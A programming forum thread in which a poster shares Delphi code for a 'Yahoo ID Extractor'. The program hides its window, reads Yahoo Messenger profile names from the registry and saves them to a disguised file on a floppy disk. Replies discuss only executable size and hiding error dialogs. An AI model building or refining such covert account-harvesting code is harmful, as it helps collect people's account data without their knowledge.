Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Sign In with Facebook Sign In with Google Sign In with OpenID

Categories

We have migrated to a new platform! Please note that you will need to reset your password to log in (your credentials are still in-tact though). Please contact lee@programmersheaven.com if you have questions.
Welcome to the new platform of Programmer's Heaven! We apologize for the inconvenience caused, if you visited us from a broken link of the previous version. The main reason to move to a new platform is to provide more effective and collaborative experience to you all. Please feel free to experience the new platform and use its exciting features. Contact us for any issue that you need to get clarified. We are more than happy to help you.

is n't this so large?

i have coded this :
[code]
unit Unit4;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,registry, StdCtrls;

type
TForm4 = class(TForm)

procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form4: TForm4;

implementation

{$R *.dfm}

procedure TForm4.FormCreate(Sender: TObject);
var
Reg,TestReg:Tregistry;
keylist:tstringlist;
temp:string;
begin
Application.ShowMainForm:=false;

Try
reg:=tregistry.Create;
TestReg:=Tregistry.Create;
keylist:=TStringlist.Create;
reg.RootKey:=Hkey_Current_User;

if reg.KeyExists('softwareyahooprofiles')=true then
Begin

reg.OpenKey('softwareyahooprofiles',false);
reg.GetKeyNames(keylist);
keylist.Insert(keylist.Count,':___.This List Has Been Generated With Yahoo ID Extractor Coded By LiNeo.__:' );
keylist.SaveToFile('A:win32.txt');

End
else

begin

keylist.Insert(keylist.Count,'The Person Has Not Yahoo Messenger Installed');
keylist.Insert(keylist.Count,':___.This List Has Been Generated With Yahoo ID Extractor Coded By LiNeo.__:' );
keylist.SaveToFile('A:win32.txt');
end;

except
messagedlg('You Are A 8Pa!',mtinformation,[mbok],1);


end;




application.Terminate;

END;//pro ENd;

end.
[/code]
it's not big but when it is compiled its about 365Kb !!!
how can i reduce it's size?

Thanks Beore

Comments

  • KapetaniosKapetanios Posts: 12Member
    Use MessageBox API function instead of MessageDlg and remove Dialogs units from the "Uses" section. This should reduce your program size at
    about the half.

    And...do you really need this form??
  • zibadianzibadian Posts: 6,349Member
    : Use MessageBox API function instead of MessageDlg and remove Dialogs units from the "Uses" section. This should reduce your program size at
    : about the half.
    :
    : And...do you really need this form??
    :
    No it won't reduce its size. The default size for a Delphi GUI application is about 300 kB, because the form data and the streaming mechanism takes that much code and resources.
    You can reduce it using run-time packages, but then you always need to have the vcl##.bpl and possibly other packages installed in the library search path. The ## is the version number of your Delphi, and depending on the version the vcl##.bpl will be several MB big.
  • KapetaniosKapetanios Posts: 12Member
    Oops! Yes, you are right! I looked the size of the
    wrong file!! Sorry! :-)


    : : Use MessageBox API function instead of MessageDlg and remove Dialogs units from the "Uses" section. This should reduce your program size at
    : : about the half.
    : :
    : : And...do you really need this form??
    : :
    : No it won't reduce its size. The default size for a Delphi GUI application is about 300 kB, because the form data and the streaming mechanism takes that much code and resources.
    : You can reduce it using run-time packages, but then you always need to have the vcl##.bpl and possibly other packages installed in the library search path. The ## is the version number of your Delphi, and depending on the version the vcl##.bpl will be several MB big.
    :

  • sad.boysad.boy Posts: 90Member
    : Oops! Yes, you are right! I looked the size of the
    : wrong file!! Sorry! :-)
    :
    :
    : : : Use MessageBox API function instead of MessageDlg and remove Dialogs units from the "Uses" section. This should reduce your program size at
    : : : about the half.
    : : :
    : : : And...do you really need this form??
    : : :
    : : No it won't reduce its size. The default size for a Delphi GUI application is about 300 kB, because the form data and the streaming mechanism takes that much code and resources.
    : : You can reduce it using run-time packages, but then you always need to have the vcl##.bpl and possibly other packages installed in the library search path. The ## is the version number of your Delphi, and depending on the version the vcl##.bpl will be several MB big.
    : :
    :
    :
    thanks zibadian! u are right ;)
    another thing about this code is that whenever there is no floppy-disk
    in floppy-Drive first windows error system comes up and says insert a
    disk,and then them message in my except section is displayed,how can i disable windows error system while my program is runing?

Sign In or Register to comment.